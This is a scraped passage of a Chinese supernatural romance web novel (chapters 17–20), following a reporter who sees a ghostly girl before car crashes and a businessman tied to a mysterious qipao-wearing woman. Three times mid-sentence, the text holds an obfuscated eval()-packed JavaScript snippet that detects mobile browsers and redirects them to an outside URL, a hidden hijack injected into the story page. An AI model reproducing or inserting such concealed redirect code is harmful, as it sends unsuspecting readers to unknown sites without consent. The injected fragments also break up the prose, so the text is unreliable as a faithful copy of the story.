许修远发现面前的颜珺瑶算是一个知情识趣的女孩,因为按照常理,大部分人在此时都会反问他有没有发生什么奇怪的事情,但她没有。 他笑了笑,“也许颜小姐听说过,在两个月前,我父亲出车祸离开了。” 颜珺瑶抬眸,而后很快垂下眼睫,低声说了句:“节哀。” “我不知道这和我们的事情有没有关系,但我父亲的车祸我还有一些想不通的地方。” 听到这话,颜珺瑶猛地抬头,双眼中尽是惊恐。 关于那场车祸,不管是媒体新闻,还是许氏集团发布的讣告,都说的是意外。她也了解过,确实是意外无疑,只是一直有些奇怪许耀中的车子当时为什么突然停下,可这一点,新闻里却都没有报道出来。也许是许氏集团在当时那样的情况下,不想再引起外界更多无端的猜测,所以才会如此。 可是现在,许氏的继任人,居然告诉她许耀中的车祸有蹊跷?! 不应该啊,许修远目前压根就不信任她,他为什么突然告诉她,他就不担心她会偷偷泄露出去吗? 当然,她是有道德底线,有良心的人,不会拿已故之人来炒热度。 颜珺瑶等着许修远的下文,但对方却不再继续这个话题。 “我们在餐厅见面的那一次,你晕倒是因为突然看到我,受到惊吓是吗?” 颜珺瑶又端起咖啡喝了一口,盯着桌面。 “算是吧。 我——我之前以为自己只是因为生病所以出现了幻觉,没想到——” 两人都沉默了片刻,许修远突然问道:“颜小姐,听过君平这个名字吗?” 颜珺瑶震惊地看向许修远,他居然——他居然也知道? 对方的表情已经说明了一切,她听过这个名字。 “君平是我的太爷爷。” 自己梦到的那个女人怎么会叫着许修远太爷爷的名字,这太诡异了! 颜珺瑶觉得头疼,那个女人该不会是想让她查许修远的太爷爷吧? 哎,等等—— 许修远怎么会突然提到他太爷爷? 难道他也梦到了那个女人? 她觉得自己额头上的冷汗似乎冒出来了。 “颜小姐是在哪里听说过这个名字?” 颜珺瑶一时不知道该不该说实话,温吞道:“我——我不记得了。” “其实君平这两个字,不是我爷爷的名字,只是他的字而已,很少有人了解,甚至我也是刚得知的,颜小姐如何知道的呢?” 颜珺瑶的心跳开始不稳,动了动唇,刚要开口,却发现突然像是失了声,说不了话了。 “实不相瞒,那两个晚上,在看到你之前,其实在我眼前先出现的是一个穿着旗袍的女人。” 心脏突突跳着,快得不像样,颜珺瑶颤着声问道:“是——是我吗?” 也许那名网友说得对,这些事情的背后真的有所谓的玄学大佬在操控,而她和许修远都是棋子? 许修远微眯了下眼,“所以那两个晚上,你也看到过?” “不,那两个晚上,我只看到你,没有看到什么穿旗袍的女人。” 许修远一瞬不瞬地看着她,“她长得和你挺像的,但她不是你。” 颜珺瑶只觉得脑子里一团乱麻,不想再待下去,她需要先好好冷静一下。 “我不知道她是谁,对不起,我想先走了。“ 话音刚落,颜珺瑶就腾地站了起来,许修远也跟着起身。 “好,我送你,顺便去取那个水晶摆件。” 颜珺瑶犹豫了两秒,点了点头。 * 车子驶入车流,周末的市区分外拥挤。 车子在路上走走停停了许久,终于到了另一个区的一个奢侈品店。 许修远下了车,颜珺瑶跟着进了店,很快一个店员就取了一个盒子交到了许修远的手上。 “你打开看看,看一下修补地满不满意。”许修远将盒子递给颜珺瑶。 颜珺瑶打开盒子,迅速地瞅了一眼,不好意思仔细瞧。无论如何,这东西都是她主动砸出去的,即使摔坏了,她也只能认了,怨不到别人身上。 “谢谢你。” 许修远笑了笑,“走吧,我送你回家。” 走出店铺,重新坐上车子,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942937|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珺瑶突然觉得非常累。 看了眼时间,不到六点,这才出来一个多小时,怎么会累成这样,明明这段身体已经好转了不少。 车窗外,一切似乎都在飞速后退。 渐渐地,颜珺瑶开始觉得自己的呼吸变得有些急促,视线不受控地往许修远的手上瞧去。 他的双手正放在方向盘上。 她的手,缓缓地伸了过去,颤抖着搭在了许修远的胳膊上,可下一秒却又迅速地被她抽了回来。 颜珺瑶瞪大了眼睛,刚刚自己到底怎么了? 为什么脑子里会有一股强烈的冲动想要去抢他的方向盘? 她是疯了吗? 许修远察觉到颜珺瑶的动作,侧头瞧了一眼,“怎么呢”三个字还没出口,却被颜珺瑶的状态有些惊到。 她的脸色比刚才在餐厅的时候惨白了不少,呼吸频率有些快,看起来像是不太舒服的样子。 他忙问:“颜小姐,你怎么呢?” 颜珺瑶摇摇头,勉强挤出一个微笑,“没事,就是觉得有点闷,可以——开一下车窗吗?” 许修远将两侧车窗降下,又看了她一眼,颜珺瑶似乎好了一些,呼吸顺畅了,所以刚才是因为晕车? 他稍稍放了心,继续专心开车。 但过了没多久,突然又感觉到颜珺瑶将手搭到他胳膊上,不,这一次是直接放到了他的手上。 和上一次一样,刚刚挨上,颜珺瑶的手又迅速地收了回去。 “……” 许修远狐疑地瞥向内视镜,发现颜珺瑶的状态非常不对劲,额头上冷汗涔涔,放在脖子上的手都在微微颤抖。 “你怎么呢?”许修远急忙问,“颜小姐——” 快要陷入昏迷状态的颜珺瑶几乎都听不清楚他说的话,只能拼劲全力地想要喘气,用手抓着自己的脖子。 那种被人用东西勒住脖子的窒息感又出现了,她快要无法呼吸了。 * 迷迷糊糊中,颜珺瑶费力地撑开眼皮,猛地看到车前不远处摇摇晃晃地走来一个小女孩,穿着鹅黄色的小旗袍。 小女孩—— 颜珺瑶一下子瞪大了眼睛,是那个小女孩。 是车祸那天,她看到的那个小女孩。 “你是有哮喘吗?颜小姐——” 许修远减缓车速,正打算靠边停下问清楚颜珺瑶的情况。 突然,颜珺瑶使劲浑身力气,用力抓住他的手臂,双眼通红地看着许修远,嘶哑着嗓子,断断续续地挤出几个字。 “快开走,快,别停,快——” 许修远不明所以,只好继续往前开。 他转头又看了一眼,不放心地问道:“你是有哮喘吗?身上带药了没?” 刚问出口,突然想起来上一次送她去医院,要是他没记错的话,医生好像是判断她没有哮喘的。 可她现在这症状—— 颜珺瑶已经没有力气睁开眼皮,颤抖着嘴唇低声道:“不是——” 不是什么? 砰—— 许修远还没听清楚她说了什么,蓦地就听见背后不远处传来剧烈的一声“砰”,伴随着汽车轮胎在地面摩擦的声音。 后视镜里,差不多就在他刚刚打算停车的地方,两辆车子撞上了。 他的手瞬间握紧了方向盘,如果刚才自己停车了,那现在被撞的可能就是他了。 幸亏—— 他转头去看女主,几乎是同时,他的右手臂又猛地被抓住。 颜珺瑶痛苦地用右手抓着自己的领口,喉咙里发出一声痛苦的嘶哑的“啊——”,她觉得自己快要死了,为什么又出现这种情况了? 在她彻底陷入黑暗前,耳边似乎飘着小女孩稚嫩又惶恐的声音。 爸爸,妈妈—— 18. 第 18 章 爸爸,妈妈—— 我好疼啊,你们在哪里啊,我好疼啊—— 脑海中不停地出现一个小女孩惊惶无助的声音,一股无法遏制的悲伤涌上心头。 颜珺瑶想回应她,想向小女孩跑过去,可她却身处一片黑暗,像陷入泥淖中,越挣扎陷得越深,越醒不过来。 “哎呦,这姑娘怎么哭了?” 坐在病床边上的护工杨阿姨注意到颜珺瑶眼角缓缓落下的泪水,有些诧异,连忙抽了张纸,边擦边嘀咕道:“这是难受呢还是梦到什么伤心事,睡着睡着怎么流眼泪了? 许修远站在窗边,回头望向病床上的颜珺瑶。他想起刚才医生对颜珺瑶的初步判断,排除脏器性病变,也没有哮喘,很有可能是心理因素造成的。 酒店大厅那一次,如果他没记错的话,她当时也是差不多的情况,一只手拽着衣领,似乎喘不上气,随后便晕倒了,但这次情况似乎更严重。 难道她每次和他见面都会出现类似的情况? 如果说第一次是因为乍然见到而受到惊吓,那今天呢?似乎并没有受到什么惊吓。 不知道那一次在何老师傅的店里见过他,在她离开之后有没有类似的状况。 杨阿姨见许修远一直站着,便笑着说道:“许先生先坐会吧,说不定这姑娘还有好一会儿才醒呢!” 许修远笑了笑,“没事,今晚要辛苦您了!” 杨阿姨摆了摆手,“您太客气了。” 许修远看了眼墙上的挂钟,七点二十五了,颜珺瑶已经昏睡了将近一个多小时,按医生的判断,应该快醒了。 他走到病床的另一侧,一瞬不瞬地看着她。 突然,他注意到颜珺瑶的眼睫在颤动,似乎在费劲地撑开眼皮。 这是要醒了。 * 果然,下一秒,颜珺瑶睁开了眼睛,第一秒先是茫然,在看到许修远的那一刻不禁愣了下,随后便回想起自己不久前又出现了那种可怕的窒息感。 在失去意识的前几秒,她还以为自己这一次就那么活活被勒死了,虽然她很清楚当时脖子上根本没有什么类似绳子的东西。 她下意识伸手摸了下自己的脖子,就见许修远对着她笑了笑,“你醒了,现在感觉怎么样?” “没事了,谢谢你。” 这一次,不,两次都是多亏了许修远把她及时送到医院,就冲这一点,她也得感谢他。 一旁的杨阿姨见状,笑道:“许先生一直在这里守着你呢,总算是醒来了,要坐起来吗?” 颜珺瑶看到杨阿姨,愣了一下,随即从她身上的衣服猜测她应该是许修远为她请来的护工,便对她笑笑,“好,麻烦阿姨了!” 杨阿姨走到床尾,把病床摇了起来,又倒了杯温水给她。 许修远这时候突然说道:“杨阿姨,麻烦您帮我到对面的中餐厅买两份晚餐。” 杨阿姨愣了下,随即明白过来,离开了病房。 许修远这才坐在了病床边,清了清嗓子,看着颜珺瑶说道:“医生说你的脏器没有任何问题,也没有哮喘。” 颜珺瑶点点头,叹了口气,“嗯。” 这个情况她知道,之前因为反复低烧,做过很全面的检查,没查出什么病因。好不容易不发烧了,现在又动不动喘不上来气,不知道什么毛病。 “医生说,很可能是心理原因。” 心理原因? 颜珺瑶的手微微颤抖了一下,一时不知道该说什么。 “谢谢,今天又麻烦你了。” 病房里安静了片刻,许修远很郑重地说道:“不,是我该谢谢你!” 颜珺瑶皱了皱眉,不解地问道:“什么?” 许修远定定地看了看颜珺瑶,“刚才如果不是你让我不要停车,被撞的可能就是我的车子。” 颜珺瑶这才全都想起来了,不由地瞪大了双眸,莫名地心烦气躁起来。 那个小女孩—— 她又看到了那个小女孩,而且也是在车前。 那一瞬间,她脑子里闪过许修远父亲出事的那一天,直觉不能让许修远停车,否则可能会和他父亲一样。 而正是她的直觉,让她和许修远都躲过了一劫。 可令她不解的是的是,不知道为什么,她一坐上车子,就觉得像中了邪,脑子里不受控地跳出一个可怕的念头,那就是去抢夺许修远的方向盘,万幸被她的理智压制住了。 是谁在控制她?那个小女孩吗? 颜珺瑶深吸了一口气,心里的烦躁更甚,勉强弯了下唇角,摇头道:“其实我也是在自救。” 许修远顿了片刻,想了想又问道:“冒昧问一句,当时你为什么让我不要停车呢?” 那股子难受的劲又上来了,颜珺瑶拍了拍胸口顺气,又揉了揉太阳穴。 “我——我当时——许先生,你相信有鬼神的存在吗?” 许修远愣了一瞬,不答反问:“为什么这么问?” 颜珺瑶的呼吸开始变得费力,“我看到——一个——啊——” “颜小姐,你怎么呢?” 颜珺瑶又喘不上气了,双手用力抓着脖子,试图将那脖子上不存在的桎梏除掉,但无果。 许修远急忙按了呼叫铃,不多久,医生和护士很快就进了病房。 许修远退出了病房等着,这时杨阿姨拎着两份餐食回来了,一看医生护士在病房里就猜到是颜珺瑶又不舒服了。 许修远嘱咐道:“您今晚可能要多费心,辛苦您了! 想到许修远给的高出市场价不少的陪护费,杨阿姨心里高兴的很,忙说道:“您快别这么说,都是应该做的,您放心好了,我干这一行已经有好几年了,一定会看护好的。” * 很快,病房的门被打开,医生和护士从里面出来。 许修远询问情况,医生说是因为情绪激动,问题不大,目前需要好好休息。 许修远沉默了片刻,谢过医生才重新进入病房。 颜珺瑶正躺在病床上,睁着眼睛瞧着病房门口,看着很是虚弱。 “许先生,你相信吗?” 杨阿姨刚放下餐盒,瞅了瞅两人,没有说话。 许修远走到病床前,倒了杯水,“喝水吗?” 颜珺瑶摇头,执着于他的回答,“你相信吗?” 许修远知道她问的是什么,“颜小姐,以前我不信,但最近,我改变了想法。 你先好好休息,明天早上我再来看你,今晚杨阿姨会在这里照顾你。” 许修远正要离开,杨阿姨突然叫他,“许先生,你吃了再走吧!” “另一份是给您准备的。” * 许修远离开后,颜珺瑶简单地吃了两口晚饭,便没了胃口。 躺在病床上,出神地想着这两个月来发生的事情。 所以小女孩,那个旗袍女人,以及许耀中和许修远,或者可以说是许家,他们都是有关系的。 可自己又怎么会被牵扯进去呢?她和许家在此之前,一丝一毫的交集都没有。 难道仅仅只是因为所谓的流年不利? * 次日早上,许修远如约来到病房看望。 颜珺瑶刚吃完早饭,脸色比起昨晚已经好了不少。 杨阿姨眼尖,第一时间就看到许修远出现在病房门口,忙笑着打招呼。 颜珺瑶没想到许修远居然真的会再次过来,有些吃惊地看着他。 “今天感觉怎么样?” 颜珺瑶点点头,“好多了,谢谢你,还有杨阿姨昨晚一直陪着我,很辛苦。” 顿了下,又问道:“你——你吃过早饭了吗?” 许修远点了点头,吃过了。 颜珺瑶知道他来找自己应该是想知道昨天的事情,“耽误你一点时间,我想跟你说点事情。” 杨阿姨一听这话,赶紧找了个借口离开了病房。 “好,不着急,你说。”许修远坐在了病床边的凳子上。 颜珺瑶酝酿了片刻,旧话重提,“许先生,你真的相信鬼神吗?” 许修远凝视了女主半晌,“以前我真的不相信,但自从经历了那两个晚上,我开始动摇了。” 颜珺瑶咽了咽口水,低头抠了下手指,说道:“也许接下来的话会有些唐突,希望你别介意,是和你父亲有关的。” 许修远愣了下,没想到她会突然提到自己的父亲,点点头,“你说。” “你——你看过你父亲车祸当时的路段监控吗?” “看过——”许修远再次点头,难道颜珺瑶当时就在现场,她注意到了什么? “监控里,你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942938|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到当时路上有什么孩子吗?” 许修远瞳孔一缩,孩子? “有吗?”颜珺瑶有几分急切。 许修远摇头,“你看到了?” “嗯——”颜珺瑶看着许修远的眼睛,心里有些打鼓,不知道他究竟有没有相信自己。 “大概三四岁的样子,穿着鹅黄色的小旗袍,我看到她在马路上乱走,就在你父亲的车子前面,当时也只有你父亲的车子停了下来,但紧接着车祸就发生了。 说到这里,她端起床头柜上的一次性纸杯喝了一大口水,压下了缓缓上涌的恐慌,继续说道:“之后我晕倒在路边,也被送到了最近的医院。后来我问护士,发现车祸的伤员就没有什么小女孩,没有,全是男性。之后我又多次查证,确认当时车祸发生的时候根本就没有什么孩子出现。” 许修远回想起车祸那天的事情,心里仍是会像被刀绞一般。 当时他刚好在外地出差,接到消息就立即赶了回来,到医院的时候已经到夜里十一点多了。父亲确实出了手术室,但两个小时候情况再度恶化,没能抢救过来,就那么离开了。 颜珺瑶捏紧了手里的空纸杯,“我一度以为是自己出现了幻觉,但昨天——昨天——” 许修远似乎猜到了什么,微微眯了眯眸,“昨天你在车上的时候又看到那个小女孩,所以你才让我不要停车的?” 颜珺瑶冷不丁打了个寒颤,用力点点头,“嗯,我又看到了,而且我发现她突然出现的位置差不多就是那次车祸发生的地方。没想到又发生了一起车祸,太——太可怕了。” 许修远沉默了半晌,“颜小姐,你——从小就能看到那些吗?” “没有,我不是阴阳眼,但我确实看到了。”颜珺瑶停了下来,顿了顿,“许先生,你相信我说的话吗?” 许修远看着她,神色认真道:“相信。” 他并不怀疑颜珺瑶的话,但为什么她能看到那个小女孩,而且又和旗袍女人长相那么相似呢?偏偏那个女人很可能就是太爷爷的姨太太。 闻言,颜珺瑶暗暗松了口气,“许先生,我觉得,那个小女孩好像是针对——你家里人,你以后开车还是避开那个路段。” 许修远的脸上露出笑容,“谢谢,我会的。” 对于许修远的这句谢谢,颜珺瑶觉得受之有愧,毕竟自己昨天差点—— 如果不是自己有一定的意志力,可能还没见到那个小女孩之前,她就会在车里抢起了方向盘,最后可能还是会发生车祸。 但为什么自己见到许修远的这两次,两次都进了医院? 难道这就是所谓的八字不合? 不过现在东西已经拿回来了,而且也提醒过了,自己以后应该和他没什么交集。 许修远突然问道:“某小姐,可以告诉我你为什么知道我太爷爷的名字吗?” 颜珺瑶扯了下被子,叹了口气,“其实我在昨天见你之前,压根不知道那是你太爷爷的名字,我只是在梦里听到过君平两个字。” 居然是梦里听到的? “你梦到了谁?” 颜珺瑶顿觉脑子里混乱的很,“是一个年轻女人,穿着旗袍,好像是我自己,但应该不是,我不知道她是谁,就听到那个女人叫了一声君平。” 她抬眸,看着许修远,“你昨天说,你见过一个和我长相相似的人,我觉得和我梦到的应该是同一个人。” 许修远也认为,颜珺瑶梦到的女人就是他在那个房间看到的旗袍女人。 这样的话,那就太多巧合了。 那个小女孩,还有旗袍女人,她们的目的貌似是许家,可颜珺瑶怎么会牵扯其中? 她和那个旗袍女人以及太爷爷,不,确切地说,是她和许家到底有什么关系呢? 许修远沉默了几秒,才问道:“颜小姐有什么打算?” 颜珺瑶被这么突然一问,一时没反应过来,“什么?” “你突然能看到那些,想过怎么处理这个问题吗?” 颜珺瑶抿抿唇,“我回去之后问问长辈。” 许修远点点头,看了眼腕表,“你好好休息,之后如果有什么需要,可以联系我,也许我能帮上忙。” 颜珺瑶讪讪一笑,“谢谢许先生。” 自己还是和他少接触为好,对他也好,对自己也好。 19. 第 19 章 颜珺瑶这几天尤为勤快,任劳任怨,过得相当充实。 但偶尔也会在心里嘀咕两句,偷偷地磨牙。 上次她在许修远的车上犯病,第二天请了半天假,下午回到台里,她心里多少有些不踏实。 这已经是她近期第二次请假了,虽然她并没有撒谎,确实都是因为身体原因请假,但还是担心主任会不高兴,会单独找她谈话。 次日的晨会,她就清楚了主任到底高不高兴,因为他就差点名说她了。 “最近这大半个月任务多,我们也来了两个新的小伙伴,大家都辛苦了。台里就下了安排,接下来估计也会比较忙,希望大家一定要注意身体,休息的时候要多锻炼锻炼,这样才能强身健体嘛,不然三天两头的生病请假,不仅影响工作,而且自己也难受不是。咱们这一行业,就是得能吃苦,不能太娇气——” 在场的不少人都听出来主任含沙射影地在说谁,因为这半个月请病假的只有一个人,不禁都瞥了一眼。 颜珺瑶只觉得自己的脸腾地一下烧了起来,抿着唇,微微垂着眼,心里又是愧疚又是气恼。 她请假确实影响了工作,但她也不愿意生病。主任居然当着这么多人的面,就这么水灵灵地说出来了,就不能私下里单独找她训话吗? 真是讨厌! 颜珺瑶敢怒不敢言,可能怎么办呢?只能受着了,因为和别人比起来,今年她确实是频繁请假。 而且,谁让她是牛马呢! 算命的老先生不是说她是享福的命吗?一点都不准! * 又下雨了,下了一整夜的大雨,翌日却天光大好。 一大早出门的时候,颜珺瑶瞧见了若隐若现的彩虹,顿感心情舒畅。 嘿,今天肯定是个好日子。 下午四点左右,栏目组接到热线电话,说是东城的一个别墅区出现火灾,颜珺瑶立刻跟着江成出发。 到了目的地,消防人员正在忙碌,一辆消防车正停在失火的别墅前,边上围了不少看热闹的人。 火势不算很大,不过房子里损毁的挺厉害的,幸运的是火势并没有蔓延到左右。 颜珺瑶先是采访了围观群众,了解了一下基本情况。 火是从二楼突然烧起来的,玻璃碎裂,浓烟外散,这才有人察觉,打了消防电话,而失火别墅的业主,此刻还未赶过来。 一位七十多岁的齐姓奶奶拉着颜珺瑶的手,冲着摄像机像是闲话家常一般就说开了。 “哎呀,这个小史,买了这栋房子也不见他怎么住,半个月都不见他过来一趟,倒是安排了一个阿姨每天都过来打扫卫生,给他妈妈上香。说不定这火就是香引起的呢!” “他妈妈我认识的呀,搬过来之前我们两家也是邻居的,顶好的一个人,生病没了,小陈很孝顺的呀!” 旁边的一位中年阿姨突然指着不远处说道:“那不就是史大军的车嘛!” 颜珺瑶侧头看去,不远处一辆黑色轿车刚刚停好,从车上下来一位三十多岁的男人。 这就是失火别墅的业主史大军啊,但似乎看起来并不着急,如闲庭信步一般,施施然往这边走,就跟着火的不是他的房子一样。 身旁的齐奶奶看到陈军赶过来,着急地喊起来。 “小史呀,你房子着火了,早给你打电话了,这会儿才来呢!” 史大军听到,这才快走了两步。 颜珺瑶迎了上去,做了自我介绍,并询问对方是否愿意接受采访。 史大军嘴角噙着笑,但眼里却没有笑意,就这么意味不明地盯着颜珺瑶看。 “……”颜珺瑶想了想,轻咳一声,又道:“您要是觉得不想露脸的话,我们可——” “呵——”史大军轻笑了一声,打算她的话,“成,这会儿也进不去。” 太好了! 颜珺瑶正准备开口,史大军却自顾自地说了起来,不给她提问的机会。 “刚才齐阿姨给我打电话了,你瞧,这火就是从二楼前面这个房间烧起来的,里面供奉着我妈的牌位。她生前喜欢安静,喜欢住在向阳的房间,我听说这个别墅区环境好,又安静,所以就买了这栋房子。” “……” 听到这话,颜珺瑶的第一个想法就是,真有钱啊,专门买了一栋房子供奉母亲的牌位,可转念一想,又觉得怎么有点怪怪的。 史大军还在继续:“大概是我妈见我不常来,生气了,所以就烧起来了。” 说到这里,他轻哼了一声,语带嘲讽道:“这别墅区叫云顶别墅,属水的,都没能压住她老人家的火气。” 齐奶奶这时插了一句:“小史还是很孝顺的,你以后要经常过来才好呢!” “美女——”他将视线再次落在颜珺瑶的脸上,笑起来,“你肯定是想问我,我现在是什么心情,里面损失大不大。” “那您——” 史大军再次打断她,“心情挺平静的,回头再重新装修吧,我妈生前老说越烧越旺,就当是她老人家让我再旺一次吧!” 这时,火势已经基本控制住了,史大军抬了下手,径直朝别墅走去。 “……谢谢您的配合——” * 回到台里,已经过了下班时间,颜珺瑶开始忙着写稿子,剪片子。 刚从机房出来的吕嫣看到颜珺瑶,兴奋地跑到了她身边,搂住了她的肩膀。 “你回来啦!”她突然压低声音,“哎,你听说了吗?老江的事——” 颜珺瑶手上的动作顿住,“什么事?” “你没注意到今天上午主任叫了老江去办公室吗?听说是——哎呀,老江好像往这边来了——” 吕嫣松开了颜珺瑶,给她塞了一粒巧克力,又道:“明天告诉你,我先走啦!” 吕嫣刚走没一会儿,颜珺瑶就看到师傅拿着手机从她工位经过,出了办公室。 师傅出什么事了? 颜珺瑶收回视线,把巧克力剥了放到嘴里,继续埋头工作。 等到忙完,从机房出来,已经很晚了。 办公室的人基本都走了,江成还在,似乎是在等她。 “走吧,我送你回去。” “嘿嘿,谢谢师傅!” 颜珺瑶笑起来,和江成一起下楼。 车子上了路,颜珺瑶说起了几个小时前的那场火灾,还有史大军。 “这个陈大军真有钱啊,别墅被烧了,一点都不心疼。就是——感觉有点奇怪,有些人买了房子做骨灰房,但他是专门买了一栋别墅,而且还是云顶别墅区的房子,多贵啊,就为了供奉他母亲的牌位。” 她转头看江成,“师傅,你觉得呢?” 江成笑了笑,“越有钱的人越讲究,特别是阴阳风水方面。我听说过他,他是六七年前左右突然发家的,现在确实颇有资产。” “听说过修墓要注意这些,但是供奉牌位也要讲究吗?有些人不都是直接在家里供奉吗?”颜珺瑶若有所思,嘀咕道:“这个史大军感觉怪怪的。” “刚才他向我打听你——” “……啊——”颜珺瑶一下子瞪圆了眼睛,惊诧道:“他——打听我做什么?” “问你有没有对象,还有你的出生年月日,手机号。你放心,我没告诉你。” “……” 颜珺瑶无语,要是没听错的话,刚才那些邻居说过这个史大军可是已婚,孩子都上小学了。 可真是——神经病啊! “我猜他有可能会想办法继续打听你,”江成轻咳了一声,“不过这个史大军已经结婚了,二婚,刚结婚两年。” “师傅放心,我不会搭理他的。” 江成淡淡地“嗯”了一声,想起另一件事,于是又道:“有一件事,要问问你的意见。” “啥事?”颜珺瑶好奇。 “台里安排我去采访许忠林,就是上次出车祸的许耀中的父亲,如果你愿意去的话,到时候我带你一起。” “……”那不就是许修远的爷爷! 之前听同事说过,从去年至今,台里好像几次都想采访许家的人,但是都被婉拒了。 颜珺瑶不禁问道:“这不是经济频道那边的事吗?为什么会让我们这边负责呢?” 江成眉心微动,“台里领导让我去帮忙。” 颜珺瑶突然有点愤愤,虽然师傅之前是财经记者,但五年前就已经不在经济频道待了,而且还是被经济频道的一个领导给陷害了,现在怎么又找师傅帮忙呢?真是好意思。 “师傅,我跟你一起去。” 江成点点头,“这周六,到时候去许家老宅采访,离今天去的云顶别墅区不远。” 颜珺瑶转了转眼珠子,“这个许老先生突然答应采访,是因为两个多月前许氏集团出的事吗?” “有可能,许耀中车祸离世,之后许氏集团内部出现不小的震荡,现在许老爷子愿意接受采访,应该也是想向外界传递一个讯息,许氏集团一切如常,以免外界瞎猜乱传。” * 翌日,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942939|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珺瑶到单位的时候,吕嫣已经坐在工位前,正专心致志地写稿子。 颜珺瑶从抽屉里拿了一条速溶咖啡,去了一趟茶水间,刚一回到工位上,吕嫣就嗖地一下转过头,笑嘻嘻地看她。 “珺瑶,辛苦你也给我冲一杯呗!”说着就把杯子递了过来,“我这稿子正催着。” “好,你忙吧!” 颜珺瑶接过杯子,又冲了一杯咖啡,放到了吕嫣的桌子上,而后才打开了面前的电脑。 九点半左右,就听到吕嫣那边突然欣喜地“哈”了一声,颜珺瑶猜这是写完提交了。 果然,不一会儿,吕嫣就端着那杯咖啡,坐着办公椅滋溜到她身旁。 她先是左右瞅了瞅,而后才压低声音道:“继续昨天的话题,老江的事情你听说了吗?” 颜珺瑶点头,“你是想说我师傅要去采访许忠林,对吧!” 嘿,你说晚了一步。 “嗯嗯——但这不是重点,听说许忠林答应采访的前提就是让老江采访,这才是重点。” 颜珺瑶眨眨眼,“许忠林认识我师傅?” “肯定是以前老江采访过这个许忠林,两人有过交集,估计这个许忠林应该很欣赏老江,哈哈,许忠林也算是间接为老江出了口气!” 颜珺瑶嘻嘻笑起来,还真是,真想看看曾经陷害师傅的那个人,听到许老先生说出江成这两个字时,脸色会有多么好看! 不过,师傅会答应采访,是因为台里领导施压,还是因为给许老先生面子呢? 吕嫣也好奇这一点,“按照老江的脾气,台里领导施压还真不一定有用,估计是因为许忠林吧,这么说来的话,老江和许忠林关系还挺好的嘛!哎呀,老江的人际网很强大啊!” “悄悄说什么呢?” 颜珺瑶和吕嫣同时被吓了一跳,一抬头,是张熙杰。 颜珺瑶长舒口气,“说你坏话呢!” 吕嫣晲了他一眼,随后又悄声问了张熙杰同一个问题,“老江的事儿,你知道吗?” “哦,采访的事吧,我知道,昨天刚听说的。” “你来台里已经四年了,肯定听说了不少事情——”吕嫣扯了扯他的袖子,“你知道老江和许忠林的关系吗?” 颜珺瑶一眨不眨地睁着大眼睛,同样期待着张熙杰的回答。 张熙杰瞥了她一眼,有些想笑。 “七年前,老江采访过许忠林,听说对方很欣赏他,还邀请他去许家的公司工作,老江婉拒了。后来老江的妻子生病,许忠林恰好在医院碰到了老江,就帮忙联系了一个好医生,所以老江一直很感激许忠林。” 颜珺瑶恍然大悟,原来如此。 * 许修远接到何老师傅的电话。 电话里何老师傅告诉许修远,他在家里的旧相册里确实找几张旧照片,其中一张是他父亲与许修远的太爷爷还有一个年轻女人的合影,应该是旗袍店开业当天拍的。 何老师傅突然在电话那头问许修远:“上次在我这里碰到的那个姑娘,你和她熟悉吗?” “不熟悉,只是见过几次,您——怎么突然说起她?” 所以照片上的女人确实和颜珺瑶长相相似?! 果然如此。 何老师傅笑了笑,“说出来你可能不太相信,她和旧照片上的这个女人,长得挺相像的。还有一件事,她在我这里留了一张旗袍的手稿。” 许修远当天傍晚就再次去了何老师傅的店里。 何老师傅总共找到了三张旧照片,那张三人合影的照片上,年轻女人身上的旗袍恰好就是许修远要定做的那件。 何老师傅又把一张画稿推到了许修远面前,“你看看,这是那个小姑娘放在我这里的,那天她过来,想让我按照她画的图做一件旗袍。太巧了,她画的旗袍,和你要做的正好是同一件。” 说着,何老师傅从三张照片里面抽出那张合影,指着照片又道:“就是这一件,所以我才多嘴问你和她是否熟悉。” 想做一件旧时的旗袍,这并不奇怪,有可能是这姑娘在哪里看到了什么老照片,觉得喜欢就想做件同款,毕竟当年父亲设计的不少款式在当时还挺受欢迎的。但这个姑娘居然和几十年前的一个人长相如此相似,而且还和许修远一样,是要定做同一款旗袍,这就不得不让人感到匪夷所思了。 即使来之前,已经有过猜测,但亲眼看到旧照片上的女人,以及颜珺瑶的画稿,许修远还是无法不震惊。 “她以前来过您这里做过旗袍吗?” 20. 第 20 章 何老师傅很肯定地说道:“没有,那个姑娘我也是第一次见。而且这件旗袍的款式已经很久没有人定做了,现在更流行改良版的款式。” 许修远心里顿时生出古怪的感觉,颜珺瑶即使梦到过那个穿旗袍的女人,可她为什么要做这件旗袍呢? 就算她觉得这件旗袍好看,但却是在梦里看到的,做好之后,穿在身上不会觉得害怕吗? 